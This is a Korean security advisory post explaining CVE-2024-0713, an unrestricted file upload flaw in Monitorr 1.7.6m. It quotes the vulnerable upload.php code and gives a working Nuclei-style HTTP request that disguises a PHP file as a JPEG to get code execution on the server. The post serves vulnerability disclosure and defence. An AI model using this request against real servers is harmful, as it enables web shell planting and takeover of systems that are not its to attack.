[하루한줄] CVE-2024-0713: Monitorr의 파일 업로드 취약점
URL
Target
- Monitorr 1.7.6m
Explain
웹사이트와 애플리케이션 상태를 원격으로 모니터링하는 웹 애플리케이션 Monitorr에서 파일 업로드 취약점이 발견되었습니다.
/* assets/php/upload.php */
<?php
$target_dir = "../data/usrimg/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
$rawfile = $_FILES["fileToUpload"]["name"];
echo "<div id='uploadreturn'>";
if($check !== false) {
echo "File " . $rawfile . " is an image: " . $check["mime"] ;
echo "<br>";
$uploadOk = 1;
}
// --snip--
else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], strtolower($target_file))) {
echo "<div id='uploadok'>";
echo "File ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to: " . strtolower($target_file) ;
echo "</div>";
}
// --snip--
?>
사용자가 파일을 업로드할 경우 assets/php/upload.php
파일 내의 getimagesize()
함수에서 업로드한 파일 형식을 확인합니다.
이때, getimagesize()
함수는 파일 확장자나 내용을 검증하지 않고, 파일 MIME 헤더 타입을 통해 파일의 형식을 확인합니다.
따라서, 공격자는 파일 MIME 헤더 타입을 이미지 파일(JPEG)로 속이고 파일에 웹 쉘과 같은 악성코드를 넣어 서버에 업로드 할 수 있습니다.
http:
- raw:
- |
POST /assets/php/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q
Content-Length: 1194
------WebKitFormBoundaryMmx988TUuintqO4Q
Content-Disposition: form-data; name="fileToUpload"; filename="info.php"
Content-Type: image/jpeg
{{base64_decode("/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSE
w8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAA
hEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQI
DAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdIS
UpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usL
DxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECA
wQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvA
VYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEh
YaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP
09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Tw/PXBocGluZm8oKTs/Pg==")}}
↑↑<?=phpinfo();?>↑↑
------WebKitFormBoundaryMmx988TUuintqO4Q--
unsafe: false
cookie-reuse: false
matchers-condition: or
matchers:
- type: word
part: body
words:
- usrimg/info.php
condition: or
공격자는 위 HTTP 요청을 통해 서버에 악의적인 파일을 업로드할 수 있습니다.
multipart/form-data을 사용해 info.php
파일을 image/jpeg 형식으로 서버에 업로드합니다.
이때, info.php
파일의 MIME 헤더 타입은 JPEG 되어 있지만 파일 안에는 PHP 코드(<?=phpinfo();?>
)가 포함되어 있습니다.
Request를 통해 파일 안에 PHP 코드(<?=phpinfo();?>
)가 포함되어 있는 걸 확인할 수 있습니다.
Response로부터 서버에 업로드된 경로를 확인할 수 있습니다.
서버에 업로드된 info.php
파일에 접근할 경우, phpinfo()
함수가 실행되어 서버 php 설정 및 버전 정보를 확인할 수 있습니다.
따라서, 공격자는 취약점을 통해 웹 쉘을 타겟 시스템에 업로드하고 시스템 권한을 획득할 수 있습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.